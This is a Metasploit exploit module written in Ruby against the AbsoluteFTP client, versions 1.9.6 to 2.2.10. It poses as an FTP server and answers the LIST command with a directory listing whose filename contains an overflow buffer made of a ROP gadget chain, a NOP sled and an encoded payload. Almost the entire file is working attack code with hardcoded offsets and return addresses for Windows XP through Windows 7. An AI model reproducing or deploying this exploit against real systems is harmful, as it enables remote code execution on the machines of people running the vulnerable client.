require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',
'Description' => %q{
This module exploits VanDyke Software AbsoluteFTP by overflowing
a filename buffer related to the LIST command.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Node',
],
'Version' => '$Revision:$',
'References' =>
[
[ 'OSVDB', '---' ],
[ 'CVE', '---' ],
[ 'URL', '---' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload'=>
{
'BadChars'=> "\x00\x0d\x5c\x2f\x0a",
},
'Targets' =>
[
[ 'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
{
'Ret' => 0x5f479005,
'Offset' => 3336
}
],
],
'Privileged' => false,
'DisclosureDate' => 'MONTH DAY YEAR',
'DefaultTarget' => 0))
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
rop_gadgets =
[
0x5f46a206,
0x5f49b260,
0x5f413fa0,
0x5f418d93,
0x90909090,
0x90909090,
0x5f432001,
0x5F4774D5,
0x5f46a206,
0xfffffdff,
0x5f46f6dd,
0x5f47909a,
0x90909090,
0x5f498456,
0x5F4D1115,
0x5f46a206,
0xffffffc0,
0x5f46f6dd,
0x5f4892df,
0x5f479005,
0x5f46a206,
0x90909090,
0x5f4755b8,
].pack("V*")
buffer = [0x5f479005].pack("V*")*848
buffer << rop_gadgets
buffer << "\x90"*30
buffer << payload.encoded
print_status(" - Sending directory list via data connection")
dirlist ="-rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n"
dirlist << " 5 ftpuserftpusers 512 Jul 262001 A\r\n"
dirlist << "rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n"
conn.put(dirlist)
conn.close
return
end
end